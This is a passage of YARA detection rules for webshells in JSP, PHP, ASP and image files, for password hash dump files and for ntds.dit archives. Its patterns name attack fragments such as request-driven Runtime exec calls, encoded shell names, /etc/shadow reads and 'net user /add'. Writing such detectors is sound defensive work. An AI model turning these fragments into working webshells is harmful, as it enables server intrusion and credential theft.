		$input2 = "getHeaders" fullword ascii wide
		$input3 = "getInputStream" fullword ascii wide
		$input4 = "getReader" fullword ascii wide
		$req1 = "request" fullword ascii wide
		$req2 = "HttpServletRequest" fullword ascii wide
		$req3 = "getRequest" fullword ascii wide

	condition:
		filesize < 2000 and ( any of ( $input* ) and any of ( $req* ) ) and $exec and $start
}

import "math"

rule WEBSHELL_JSP_Generic_Reflection
{
	meta:
		description = "Generic JSP webshell which uses reflection to execute user input"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		reference = "Internal Research"
		score = 75
		date = "2021/01/07"
		modified = "2023-04-05"
		hash = "62e6c6065b5ca45819c1fc049518c81d7d165744"
		hash = "bf0ff88cbb72c719a291c722ae3115b91748d5c4920afe7a00a0d921d562e188"
		id = "806ffc8b-1dc8-5e28-ae94-12ad3fee18cd"

	strings:
		$ws_exec = "invoke" fullword wide ascii
		$ws_class = "Class" fullword wide ascii
		$fp = "SOAPConnection"
		$cjsp_short1 = "<%" ascii wide
		$cjsp_short2 = "%>" wide ascii
		$cjsp_long1 = "<jsp:" ascii wide
		$cjsp_long2 = /language=[\"']java[\"\']/ ascii wide
		$cjsp_long3 = "/jstl/core" ascii wide
		$cjsp_long4 = "<%@p" nocase ascii wide
		$cjsp_long5 = "<%@ " nocase ascii wide
		$cjsp_long6 = "<% " ascii wide
		$cjsp_long7 = "< %" ascii wide
		$input1 = "getParameter" fullword ascii wide
		$input2 = "getHeaders" fullword ascii wide
		$input3 = "getInputStream" fullword ascii wide
		$input4 = "getReader" fullword ascii wide
		$req1 = "request" fullword ascii wide
		$req2 = "HttpServletRequest" fullword ascii wide
		$req3 = "getRequest" fullword ascii wide
		$cj_encoded1 = "\"java.util.Base64$Decoder\"" ascii wide

	condition:
		all of ( $ws_* ) and ( $cjsp_short1 at 0 or any of ( $cjsp_long* ) or $cjsp_short2 in ( filesize - 100 .. filesize ) or ( $cjsp_short2 and ( $cjsp_short1 in ( 0 .. 1000 ) or $cjsp_short1 in ( filesize - 1000 .. filesize ) ) ) ) and not $fp and ( filesize < 10KB and ( any of ( $input* ) and any of ( $req* ) ) or ( filesize < 30KB and any of ( $cj_encoded* ) and math.entropy ( 500 , filesize - 500 ) >= 5.5 and math.mean ( 500 , filesize - 500 ) > 80 and math.deviation ( 500 , filesize - 500 , 89.0 ) < 23 ) )
}

import "math"

rule WEBSHELL_JSP_Generic_Classloader
{
	meta:
		description = "Generic JSP webshell which uses classloader to execute user input"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		reference = "Internal Research"
		score = 75
		hash = "6b546e78cc7821b63192bb8e087c133e8702a377d17baaeb64b13f0dd61e2347"
		date = "2021/01/07"
		modified = "2023-04-05"
		hash = "f3a7e28e1c38fa5d37811bdda1d6b0893ab876023d3bd696747a35c04141dcf0"
		hash = "8ea2a25344e6094fa82dfc097bbec5f1675f6058f2b7560deb4390bcbce5a0e7"
		hash = "b9ea1e9f91c70160ee29151aa35f23c236d220c72709b2b75123e6fa1da5c86c"
		hash = "80211c97f5b5cd6c3ab23ae51003fd73409d273727ba502d052f6c2bd07046d6"
		hash = "8e544a5f0c242d1f7be503e045738369405d39731fcd553a38b568e0889af1f2"
		id = "037e6b24-9faf-569b-bb52-dbe671ab2e87"

	strings:
		$exec = "extends ClassLoader" wide ascii
		$class = "defineClass" fullword wide ascii
		$cjsp_short1 = "<%" ascii wide
		$cjsp_short2 = "%>" wide ascii
		$cjsp_long1 = "<jsp:" ascii wide
		$cjsp_long2 = /language=[\"']java[\"\']/ ascii wide
		$cjsp_long3 = "/jstl/core" ascii wide
		$cjsp_long4 = "<%@p" nocase ascii wide
		$cjsp_long5 = "<%@ " nocase ascii wide
		$cjsp_long6 = "<% " ascii wide
		$cjsp_long7 = "< %" ascii wide
		$input1 = "getParameter" fullword ascii wide
		$input2 = "getHeaders" fullword ascii wide
		$input3 = "getInputStream" fullword ascii wide
		$input4 = "getReader" fullword ascii wide
		$req1 = "request" fullword ascii wide
		$req2 = "HttpServletRequest" fullword ascii wide
		$req3 = "getRequest" fullword ascii wide

	condition:
		(( $cjsp_short1 at 0 or any of ( $cjsp_long* ) or $cjsp_short2 in ( filesize - 100 .. filesize ) or ( $cjsp_short2 and ( $cjsp_short1 in ( 0 .. 1000 ) or $cjsp_short1 in ( filesize - 1000 .. filesize ) ) ) ) and ( any of ( $input* ) and any of ( $req* ) ) and $exec and $class ) and ( filesize < 10KB or ( filesize < 50KB and ( math.entropy ( 500 , filesize - 500 ) <= 1 or math.entropy ( 500 , filesize - 500 ) >= 7.7 ) ) )
}

rule WEBSHELL_JSP_Generic_Encoded_Shell
{
	meta:
		description = "Generic JSP webshell which contains cmd or /bin/bash encoded in ascii ord"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		reference = "Internal Research"
		score = 75
		date = "2021/01/07"
		modified = "2023-07-05"
		hash = "3eecc354390d60878afaa67a20b0802ce5805f3a9bb34e74dd8c363e3ca0ea5c"
		hash = "f6c2112e3a25ec610b517ff481675b2ce893cb9f"
		hash = "62e6c6065b5ca45819c1fc049518c81d7d165744"
		id = "359949d7-1793-5e13-9fdc-fe995ae12117"

	strings:
		$sj0 = /{ ?47, 98, 105, 110, 47, 98, 97, 115, 104/ wide ascii
		$sj1 = /{ ?99, 109, 100}/ wide ascii
		$sj2 = /{ ?99, 109, 100, 46, 101, 120, 101/ wide ascii
		$sj3 = /{ ?47, 98, 105, 110, 47, 98, 97/ wide ascii
		$sj4 = /{ ?106, 97, 118, 97, 46, 108, 97, 110/ wide ascii
		$sj5 = /{ ?101, 120, 101, 99 }/ wide ascii
		$sj6 = /{ ?103, 101, 116, 82, 117, 110/ wide ascii

	condition:
		filesize < 300KB and any of ( $sj* )
}

rule WEBSHELL_JSP_NetSpy
{
	meta:
		description = "JSP netspy webshell"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		reference = "Internal Research"
		score = 75
		date = "2021/01/24"
		modified = "2023-04-05"
		hash = "94d1aaabde8ff9b4b8f394dc68caebf981c86587"
		hash = "3870b31f26975a7cb424eab6521fc9bffc2af580"
		id = "41f5c171-878d-579f-811d-91d74f7e3e24"

	strings:
		$scan1 = "scan" nocase wide ascii
		$scan2 = "port" nocase wide ascii
		$scan3 = "web" fullword nocase wide ascii
		$scan4 = "proxy" fullword nocase wide ascii
		$scan5 = "http" fullword nocase wide ascii
		$scan6 = "https" fullword nocase wide ascii
		$write1 = "os.write" fullword wide ascii
		$write2 = "FileOutputStream" fullword wide ascii
		$write3 = "PrintWriter" fullword wide ascii
		$http = "java.net.HttpURLConnection" fullword wide ascii
		$cjsp_short1 = "<%" ascii wide
		$cjsp_short2 = "%>" wide ascii
		$cjsp_long1 = "<jsp:" ascii wide
		$cjsp_long2 = /language=[\"']java[\"\']/ ascii wide
		$cjsp_long3 = "/jstl/core" ascii wide
		$cjsp_long4 = "<%@p" nocase ascii wide
		$cjsp_long5 = "<%@ " nocase ascii wide
		$cjsp_long6 = "<% " ascii wide
		$cjsp_long7 = "< %" ascii wide
		$input1 = "getParameter" fullword ascii wide
		$input2 = "getHeaders" fullword ascii wide
		$input3 = "getInputStream" fullword ascii wide
		$input4 = "getReader" fullword ascii wide
		$req1 = "request" fullword ascii wide
		$req2 = "HttpServletRequest" fullword ascii wide
		$req3 = "getRequest" fullword ascii wide

	condition:
		filesize < 30KB and ( $cjsp_short1 at 0 or any of ( $cjsp_long* ) or $cjsp_short2 in ( filesize - 100 .. filesize ) or ( $cjsp_short2 and ( $cjsp_short1 in ( 0 .. 1000 ) or $cjsp_short1 in ( filesize - 1000 .. filesize ) ) ) ) and ( any of ( $input* ) and any of ( $req* ) ) and 4 of ( $scan* ) and 1 of ( $write* ) and $http
}

rule WEBSHELL_JSP_By_String
{
	meta:
		description = "JSP Webshells which contain unique strings, lousy rule for low hanging fruits. Most are catched by other rules in here but maybe these catch different versions."
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		reference = "Internal Research"
		score = 75
		date = "2021/01/09"
		modified = "2023-04-05"
		hash = "e9060aa2caf96be49e3b6f490d08b8a996c4b084"
		hash = "4c2464503237beba54f66f4a099e7e75028707aa"
		hash = "06b42d4707e7326aff402ecbb585884863c6351a"
		hash = "dada47c052ec7fcf11d5cfb25693bc300d3df87de182a254f9b66c7c2c63bf2e"
		hash = "f9f6c696c1f90df6421cd9878a1dec51a62e91b4b4f7eac4920399cb39bc3139"
		hash = "f1d8360dc92544cce301949e23aad6eb49049bacf9b7f54c24f89f7f02d214bb"
		hash = "1d1f26b1925a9d0caca3fdd8116629bbcf69f37f751a532b7096a1e37f4f0076"
		hash = "850f998753fde301d7c688b4eca784a045130039512cf51292fcb678187c560b"
		id = "8d64e40b-5583-5887-afe1-b926d9880913"

	strings:
		$jstring1 = "<title>Boot Shell</title>" wide ascii
		$jstring2 = "String oraPWD=\"" wide ascii
		$jstring3 = "Owned by Chinese Hackers!" wide ascii
		$jstring4 = "AntSword JSP" wide ascii
		$jstring5 = "JSP Webshell</" wide ascii
		$jstring6 = "motoME722remind2012" wide ascii
		$jstring7 = "EC(getFromBase64(toStringHex(request.getParameter(\"password" wide ascii
		$jstring8 = "http://jmmm.com/web/index.jsp" wide ascii
		$jstring9 = "list.jsp = Directory & File View" wide ascii
		$jstring10 = "jdbcRowSet.setDataSourceName(request.getParameter(" wide ascii
		$jstring11 = "Mr.Un1k0d3r RingZer0 Team" wide ascii
		$jstring12 = "MiniWebCmdShell" fullword wide ascii
		$jstring13 = "pwnshell.jsp" fullword wide ascii
		$jstring14 = "session set &lt;key&gt; &lt;value&gt; [class]<br>" wide ascii
		$jstring15 = "Runtime.getRuntime().exec(request.getParameter(" nocase wide ascii
		$jstring16 = "GIF98a<%@page" wide ascii
		$jstring17 = "Tas9er" fullword wide ascii
		$jstring18 = "uu0028\\u" wide ascii
		$jstring19 = "uu0065\\u" wide ascii
		$jstring20 = "uu0073\\u" wide ascii
		$jstring21 = /\\uuu{0,50}00/ wide ascii
		$jstring22 = /[\w\.]\\u(FFFB|FEFF|FFF9|FFFA|200C|202E|202D)[\w\.]/ wide ascii
		$jstring23 = "\"e45e329feb5d925b\"" wide ascii
		$jstring24 = "u<![CDATA[n" wide ascii
		$cjsp_short1 = "<%" ascii wide
		$cjsp_short2 = "%>" wide ascii
		$cjsp_long1 = "<jsp:" ascii wide
		$cjsp_long2 = /language=[\"']java[\"\']/ ascii wide
		$cjsp_long3 = "/jstl/core" ascii wide
		$cjsp_long4 = "<%@p" nocase ascii wide
		$cjsp_long5 = "<%@ " nocase ascii wide
		$cjsp_long6 = "<% " ascii wide
		$cjsp_long7 = "< %" ascii wide
		$dex = { 64 65 ( 78 | 79 ) 0a 30 }
		$pack = { 50 41 43 4b 00 00 00 02 00 }

	condition:
		not ( uint16( 0 ) == 0x5a4d or $dex at 0 or $pack at 0 or uint16( 0 ) == 0x4b50 ) and ( ( filesize < 100KB and ( $cjsp_short1 at 0 or any of ( $cjsp_long* ) or $cjsp_short2 in ( filesize - 100 .. filesize ) or ( $cjsp_short2 and ( $cjsp_short1 in ( 0 .. 1000 ) or $cjsp_short1 in ( filesize - 1000 .. filesize ) ) ) ) and any of ( $jstring* ) ) or ( filesize < 500KB and ( #jstring21 > 20 or $jstring18 or $jstring19 or $jstring20 ) ) )
}

rule WEBSHELL_Generic_OS_Strings : FILE
{
	meta:
		description = "typical webshell strings"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		reference = "Internal Research"
		date = "2021/01/12"
		modified = "2023-07-05"
		score = 50
		hash = "d5bfe40283a28917fcda0cefd2af301f9a7ecdad"
		hash = "fd45a72bda0a38d5ad81371d68d206035cb71a14"
		hash = "b4544b119f919d8cbf40ca2c4a7ab5c1a4da73a3"
		hash = "569259aafe06ba3cef9e775ee6d142fed6edff5f"
		hash = "48909d9f4332840b4e04b86f9723d7427e33ac67"
		hash = "0353ae68b12b8f6b74794d3273967b530d0d526f"
		id = "ea85e415-4774-58ac-b063-0f5eb535ec49"

	strings:
		$fp1 = "http://evil.com/" wide ascii
		$fp2 = "denormalize('/etc/shadow" wide ascii
		$fp3 = "vim.org>"
		$tagasp_short1 = /<%[^"]/ wide ascii
		$tagasp_short2 = "%>" wide ascii
		$tagasp_classid1 = "72C24DD5-D70A-438B-8A42-98424B88AFB8" nocase wide ascii
		$tagasp_classid2 = "F935DC22-1CF0-11D0-ADB9-00C04FD58A0B" nocase wide ascii
		$tagasp_classid3 = "093FF999-1EA0-4079-9525-9614C3504B74" nocase wide ascii
		$tagasp_classid4 = "F935DC26-1CF0-11D0-ADB9-00C04FD58A0B" nocase wide ascii
		$tagasp_classid5 = "0D43FE01-F093-11CF-8940-00A0C9054228" nocase wide ascii
		$tagasp_long10 = "<%@ " wide ascii
		$tagasp_long11 = /<% \w/ nocase wide ascii
		$tagasp_long12 = "<%ex" nocase wide ascii
		$tagasp_long13 = "<%ev" nocase wide ascii
		$tagasp_long20 = /<(%|script|msxsl:script).{0,60}language="?(vb|jscript|c#)/ nocase wide ascii
		$tagasp_long32 = /<script\s{1,30}runat=/ wide ascii
		$tagasp_long33 = /<SCRIPT\s{1,30}RUNAT=/ wide ascii
		$php1 = "<?php"
		$php2 = "<?="
		$jsp1 = "=\"java." wide ascii
		$jsp2 = "=\"javax." wide ascii
		$jsp3 = "java.lang." wide ascii
		$jsp4 = "public" fullword wide ascii
		$jsp5 = "throws" fullword wide ascii
		$jsp6 = "getValue" fullword wide ascii
		$jsp7 = "getBytes" fullword wide ascii
		$perl1 = "PerlScript" fullword
		$php_short = "<?" wide ascii
		$no_xml1 = "<?xml version" nocase wide ascii
		$no_xml2 = "<?xml-stylesheet" nocase wide ascii
		$no_asp1 = "<%@LANGUAGE" nocase wide ascii
		$no_asp2 = /<script language="(vb|jscript|c#)/ nocase wide ascii
		$no_pdf = "<?xpacket"
		$php_new1 = /<\?=[^?]/ wide ascii
		$php_new2 = "<?php" nocase wide ascii
		$php_new3 = "<script language=\"php" nocase wide ascii
		$cjsp_short1 = "<%" ascii wide
		$cjsp_short2 = "%>" wide ascii
		$cjsp_long1 = "<jsp:" ascii wide
		$cjsp_long2 = /language=[\"']java[\"\']/ ascii wide
		$cjsp_long3 = "/jstl/core" ascii wide
		$cjsp_long4 = "<%@p" nocase ascii wide
		$cjsp_long5 = "<%@ " nocase ascii wide
		$cjsp_long6 = "<% " ascii wide
		$cjsp_long7 = "< %" ascii wide
		$w1 = "net localgroup administrators" nocase wide ascii
		$w2 = "net user" nocase wide ascii
		$w3 = "/add" nocase wide ascii
		$l1 = "/etc/shadow" wide ascii
		$l2 = "/etc/ssh/sshd_config" wide ascii
		$take_two1 = "net user" nocase wide ascii
		$take_two2 = "/add" nocase wide ascii

	condition:
		filesize < 70KB and ( ( ( any of ( $tagasp_long* ) or any of ( $tagasp_classid* ) or ( $tagasp_short1 and $tagasp_short2 in ( filesize - 100 .. filesize ) ) or ( $tagasp_short2 and ( $tagasp_short1 in ( 0 .. 1000 ) or $tagasp_short1 in ( filesize - 1000 .. filesize ) ) ) ) and not ( ( any of ( $perl* ) or $php1 at 0 or $php2 at 0 ) or ( ( #jsp1 + #jsp2 + #jsp3 ) > 0 and ( #jsp4 + #jsp5 + #jsp6 + #jsp7 ) > 0 ) ) ) or ( ( ( $php_short in ( 0 .. 100 ) or $php_short in ( filesize - 1000 .. filesize ) ) and not any of ( $no_* ) ) or any of ( $php_new* ) ) or ( $cjsp_short1 at 0 or any of ( $cjsp_long* ) or $cjsp_short2 in ( filesize - 100 .. filesize ) or ( $cjsp_short2 and ( $cjsp_short1 in ( 0 .. 1000 ) or $cjsp_short1 in ( filesize - 1000 .. filesize ) ) ) ) ) and ( filesize < 300KB and not uint16( 0 ) == 0x5a4d and ( all of ( $w* ) or all of ( $l* ) or 2 of ( $take_two* ) ) ) and not any of ( $fp* )
}

rule WEBSHELL_In_Image
{
	meta:
		description = "Webshell in GIF, PNG or JPG"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		reference = "Internal Research"
		hash = "d4fde4e691db3e70a6320e78657480e563a9f87935af873a99db72d6a9a83c78"
		hash = "84938133ee6e139a2816ab1afc1c83f27243c8ae76746ceb2e7f20649b5b16a4"
		hash = "52b918a64afc55d28cd491de451bb89c57bce424f8696d6a94ec31fb99b17c11"
		date = "2021/02/27"
		modified = "2023-04-05"
		score = 55
		id = "b1185b69-9b08-5925-823a-829fee6fa4cf"

	strings:
		$png = { 89 50 4E 47 }
		$jpg = { FF D8 FF E0 }
		$gif = "GIF8" wide ascii
		$gif2 = "gif89"
		$gif3 = "Gif89"
		$mdb = { 00 01 00 00 53 74 }
		$php_short = "<?" wide ascii
		$no_xml1 = "<?xml version" nocase wide ascii
		$no_xml2 = "<?xml-stylesheet" nocase wide ascii
		$no_asp1 = "<%@LANGUAGE" nocase wide ascii
		$no_asp2 = /<script language="(vb|jscript|c#)/ nocase wide ascii
		$no_pdf = "<?xpacket"
		$php_new1 = /<\?=[^?]/ wide ascii
		$php_new2 = "<?php" nocase wide ascii
		$php_new3 = "<script language=\"php" nocase wide ascii
		$cpayload1 = /\beval[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
		$cpayload2 = /\bexec[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
		$cpayload3 = /\bshell_exec[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
		$cpayload4 = /\bpassthru[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
		$cpayload5 = /\bsystem[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
		$cpayload6 = /\bpopen[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
		$cpayload7 = /\bproc_open[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
		$cpayload8 = /\bpcntl_exec[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
		$cpayload9 = /\bassert[\n\t ]{0,500}\([^)0]/ nocase wide ascii
		// $cpayload10 = /\bpreg_replace[\n\t ]{0,500}(\(.{1,|\/\*)100}\/[ismxADSUXju]{0,11}(e|\\x65)/ nocase wide ascii
		$cpayload12 = /\bmb_ereg_replace[\t ]{0,500}\([^\)]{1,100}'e'/ nocase wide ascii
		$cpayload13 = /\bmb_eregi_replace[\t ]{0,500}\([^\)]{1,100}'e'/ nocase wide ascii
		$cpayload20 = /\bcreate_function[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
		$cpayload21 = /\bReflectionFunction[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
		$cpayload22 = /fetchall\(PDO::FETCH_FUNC[\n\t ]{0,500}[,}\)]/ nocase wide ascii
		$m_cpayload_preg_filter1 = /\bpreg_filter[\n\t ]{0,500}(\([^\)]|\/\*)/ nocase wide ascii
		$m_cpayload_preg_filter2 = "'|.*|e'" nocase wide ascii
		$php_multi_write1 = "fopen(" wide ascii
		$php_multi_write2 = "fwrite(" wide ascii
		$php_write1 = "move_uploaded_file" fullword wide ascii
		$cjsp1 = "<%" ascii wide
		$cjsp2 = "<jsp:" ascii wide
		$cjsp3 = /language=[\"']java[\"\']/ ascii wide
		$cjsp4 = "/jstl/core" ascii wide
		$payload1 = "ProcessBuilder" fullword ascii wide
		$payload2 = "processCmd" fullword ascii wide
		$rt_payload1 = "Runtime" fullword ascii wide
		$rt_payload2 = "getRuntime" fullword ascii wide
		$rt_payload3 = "exec" fullword ascii wide
		$tagasp_short1 = /<%[^"]/ wide ascii
		$tagasp_short2 = "%>" wide ascii
		$tagasp_classid1 = "72C24DD5-D70A-438B-8A42-98424B88AFB8" nocase wide ascii
		$tagasp_classid2 = "F935DC22-1CF0-11D0-ADB9-00C04FD58A0B" nocase wide ascii
		$tagasp_classid3 = "093FF999-1EA0-4079-9525-9614C3504B74" nocase wide ascii
		$tagasp_classid4 = "F935DC26-1CF0-11D0-ADB9-00C04FD58A0B" nocase wide ascii
		$tagasp_classid5 = "0D43FE01-F093-11CF-8940-00A0C9054228" nocase wide ascii
		$tagasp_long10 = "<%@ " wide ascii
		$tagasp_long11 = /<% \w/ nocase wide ascii
		$tagasp_long12 = "<%ex" nocase wide ascii
		$tagasp_long13 = "<%ev" nocase wide ascii
		$tagasp_long20 = /<(%|script|msxsl:script).{0,60}language="?(vb|jscript|c#)/ nocase wide ascii
		$tagasp_long32 = /<script\s{1,30}runat=/ wide ascii
		$tagasp_long33 = /<SCRIPT\s{1,30}RUNAT=/ wide ascii
		$php1 = "<?php"
		$php2 = "<?="
		$jsp1 = "=\"java." wide ascii
		$jsp2 = "=\"javax." wide ascii
		$jsp3 = "java.lang." wide ascii
		$jsp4 = "public" fullword wide ascii
		$jsp5 = "throws" fullword wide ascii
		$jsp6 = "getValue" fullword wide ascii
		$jsp7 = "getBytes" fullword wide ascii
		$perl1 = "PerlScript" fullword
		$asp_payload0 = "eval_r" fullword nocase wide ascii
		$asp_payload1 = /\beval\s/ nocase wide ascii
		$asp_payload2 = /\beval\(/ nocase wide ascii
		$asp_payload3 = /\beval\"\"/ nocase wide ascii
		$asp_payload4 = /:\s{0,10}eval\b/ nocase wide ascii
		$asp_payload8 = /\bexecute\s?\(/ nocase wide ascii
		$asp_payload9 = /\bexecute\s[\w"]/ nocase wide ascii
		$asp_payload11 = "WSCRIPT.SHELL" fullword nocase wide ascii
		$asp_payload13 = "ExecuteGlobal" fullword nocase wide ascii
		$asp_payload14 = "ExecuteStatement" fullword nocase wide ascii
		$asp_payload15 = "ExecuteStatement" fullword nocase wide ascii
		$asp_multi_payload_one1 = "CreateObject" nocase fullword wide ascii
		$asp_multi_payload_one2 = "addcode" fullword wide ascii
		$asp_multi_payload_one3 = /\.run\b/ wide ascii
		$asp_multi_payload_two1 = "CreateInstanceFromVirtualPath" fullword wide ascii
		$asp_multi_payload_two2 = "ProcessRequest" fullword wide ascii
		$asp_multi_payload_two3 = "BuildManager" fullword wide ascii
		$asp_multi_payload_three1 = "System.Diagnostics" wide ascii
		$asp_multi_payload_three2 = "Process" fullword wide ascii
		$asp_multi_payload_three3 = ".Start" wide ascii
		$asp_multi_payload_four1 = "CreateObject" fullword nocase wide ascii
		$asp_multi_payload_four2 = "TransformNode" fullword nocase wide ascii
		$asp_multi_payload_four3 = "loadxml" fullword nocase wide ascii
		$asp_multi_payload_five1 = "ProcessStartInfo" fullword nocase wide ascii
		$asp_multi_payload_five2 = ".Start" nocase wide ascii
		$asp_multi_payload_five3 = ".Filename" nocase wide ascii
		$asp_multi_payload_five4 = ".Arguments" nocase wide ascii
		$asp_always_write1 = /\.write/ nocase wide ascii
		$asp_always_write2 = /\.swrite/ nocase wide ascii
		$asp_write_way_one2 = "SaveToFile" fullword nocase wide ascii
		$asp_write_way_one3 = "CREAtEtExtFiLE" fullword nocase wide ascii
		$asp_cr_write1 = "CreateObject(" nocase wide ascii
		$asp_cr_write2 = "CreateObject (" nocase wide ascii
		$asp_streamwriter1 = "streamwriter" fullword nocase wide ascii
		$asp_streamwriter2 = "filestream" fullword nocase wide ascii

	condition:
		filesize < 5MB and ( $png at 0 or $jpg at 0 or $gif at 0 or $gif at 3 or $gif2 at 0 or $gif2 at 3 or $gif3 at 0 or $mdb at 0 ) and ( ( ( ( ( $php_short in ( 0 .. 100 ) or $php_short in ( filesize - 1000 .. filesize ) ) and not any of ( $no_* ) ) or any of ( $php_new* ) ) and ( ( any of ( $cpayload* ) or all of ( $m_cpayload_preg_filter* ) ) or ( any of ( $php_write* ) or all of ( $php_multi_write* ) ) ) ) or ( ( any of ( $cjsp* ) ) and ( 1 of ( $payload* ) or all of ( $rt_payload* ) ) ) or ( ( ( any of ( $tagasp_long* ) or any of ( $tagasp_classid* ) or ( $tagasp_short1 and $tagasp_short2 in ( filesize - 100 .. filesize ) ) or ( $tagasp_short2 and ( $tagasp_short1 in ( 0 .. 1000 ) or $tagasp_short1 in ( filesize - 1000 .. filesize ) ) ) ) and not ( ( any of ( $perl* ) or $php1 at 0 or $php2 at 0 ) or ( ( #jsp1 + #jsp2 + #jsp3 ) > 0 and ( #jsp4 + #jsp5 + #jsp6 + #jsp7 ) > 0 ) ) ) and ( ( any of ( $asp_payload* ) or all of ( $asp_multi_payload_one* ) or all of ( $asp_multi_payload_two* ) or all of ( $asp_multi_payload_three* ) or all of ( $asp_multi_payload_four* ) or all of ( $asp_multi_payload_five* ) ) or ( any of ( $asp_always_write* ) and ( any of ( $asp_write_way_one* ) and any of ( $asp_cr_write* ) ) or ( any of ( $asp_streamwriter* ) ) ) ) ) )
}

rule WEBSHELL_Mixed_OBFUSC
{
	meta:
		description = "Detects webshell with mixed obfuscation commands"
		author = "Arnim Rupp (https://github.com/ruppde)"
		reference = "Internal Research"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		date = "2023-01-28"
		modified = "2023-04-05"
		hash1 = "8c4e5c6bdfcc86fa27bdfb075a7c9a769423ec6d53b73c80cbc71a6f8dd5aace"
		hash2 = "78f2086b6308315f5f0795aeaa75544128f14889a794205f5fc97d7ca639335b"
		hash3 = "3bca764d44074820618e1c831449168f220121698a7c82e9909f8eab2e297cbd"
		hash4 = "b26b5e5cba45482f486ff7c75b54c90b7d1957fd8e272ddb4b2488ec65a2936e"
		hash5 = "e217be2c533bfddbbdb6dc6a628e0d8756a217c3ddc083894e07fd3a7408756c"
		score = 50
		id = "dcb4054b-0c87-5cd0-9297-7fd5f2e37437"

	strings:
		$s1 = "rawurldecode/*" ascii
		$s2 = "preg_replace/*" ascii
		$s3 = " __FILE__/*" ascii
		$s4 = "strlen/*" ascii
		$s5 = "str_repeat/*" ascii
		$s6 = "basename/*" ascii

	condition:
		( uint16( 0 ) == 0x3f3c and filesize < 200KB and ( 4 of them ) )
}

rule WEBSHELL_Cookie_Post_Obfuscation
{
	meta:
		description = "Detects webshell using cookie POST"
		author = "Arnim Rupp (https://github.com/ruppde)"
		reference = "Internal Research"
		score = 75
		date = "2023-01-28"
		modified = "2023-04-05"
		license = "https://github.com/SigmaHQ/Detection-Rule-License/blob/main/LICENSE.Detection.Rules.md"
		hash = "d08a00e56feb78b7f6599bad6b9b1d8626ce9a6ea1dfdc038358f4c74e6f65c9"
		hash = "2ce5c4d31682a5a59b665905a6f698c280451117e4aa3aee11523472688edb31"
		hash = "ff732d91a93dfd1612aed24bbb4d13edb0ab224d874f622943aaeeed4356c662"
		hash = "a3b64e9e065602d2863fcab641c75f5d8ec67c8632db0f78ca33ded0f4cea257"
		hash = "d41abce305b0dc9bd3a9feb0b6b35e8e39db9e75efb055d0b1205a9f0c89128e"
		hash = "333560bdc876fb0186fae97a58c27dd68123be875d510f46098fc5a61615f124"
		hash = "2efdb79cdde9396ff3dd567db8876607577718db692adf641f595626ef64d3a4"
		hash = "e1bd3be0cf525a0d61bf8c18e3ffaf3330c1c27c861aede486fd0f1b6930f69a"
		hash = "f8cdedd21b2cc29497896ec5b6e5863cd67cc1a798d929fd32cdbb654a69168a"
		id = "cc5ded80-5e58-5b25-86d1-1c492042c740"

	strings:
		$s1 = "]($_COOKIE, $_POST) as $"
		$s2 = "function"
		$s3 = "Array"

	condition:
		( uint16( 0 ) == 0x3f3c and filesize < 100KB and ( all of them ) )
}

rule NTLM_Dump_Output
{
	meta:
		description = "NTML Hash Dump output file - John/LC format"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		date = "2015-10-01"
		score = 75
		id = "d17ee473-317b-57d4-8ea8-7c89e8f2b2ed"

	strings:
		$s0 = "500:AAD3B435B51404EEAAD3B435B51404EE:" ascii
		$s1 = "500:aad3b435b51404eeaad3b435b51404ee:" ascii

	condition:
		1 of them
}

rule Gsecdump_password_dump_file
{
	meta:
		description = "Detects a gsecdump output file"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://t.co/OLIj1yVJ4m"
		date = "2018-03-06"
		score = 65
		id = "c7c8ab61-f728-5eb2-a5e3-b3dd84980870"

	strings:
		$x1 = "Administrator(current):500:" ascii

	condition:
		uint32be( 0 ) == 0x41646d69 and filesize < 3000 and $x1 at 0
}

rule SUSP_ZIP_NtdsDIT : T1003_003
{
	meta:
		description = "Detects ntds.dit files in ZIP archives that could be a left over of administrative activity or traces of data exfiltration"
		author = "Florian Roth (Nextron Systems)"
		score = 50
		reference = "https://pentestlab.blog/2018/07/04/dumping-domain-password-hashes/"
		date = "2020-08-10"
		id = "131ed73d-bb34-5ff6-b145-f95e4469d7f9"

	strings:
		$s1 = "ntds.dit" ascii

	condition:
		uint16( 0 ) == 0x4b50 and $s1 in ( 0 .. 256 )
}

rule APT_Nazar_Svchost_Commands
{
	meta:
		description = "Detects Nazar's svchost based on supported commands"
		author = "Itay Cohen"
		date = "2020-04-26"
		reference = "https://www.epicturla.com/blog/the-lost-nazar"
		hash1 = "2fe9b76496a9480273357b6d35c012809bfa3ae8976813a7f5f4959402e3fbb6"
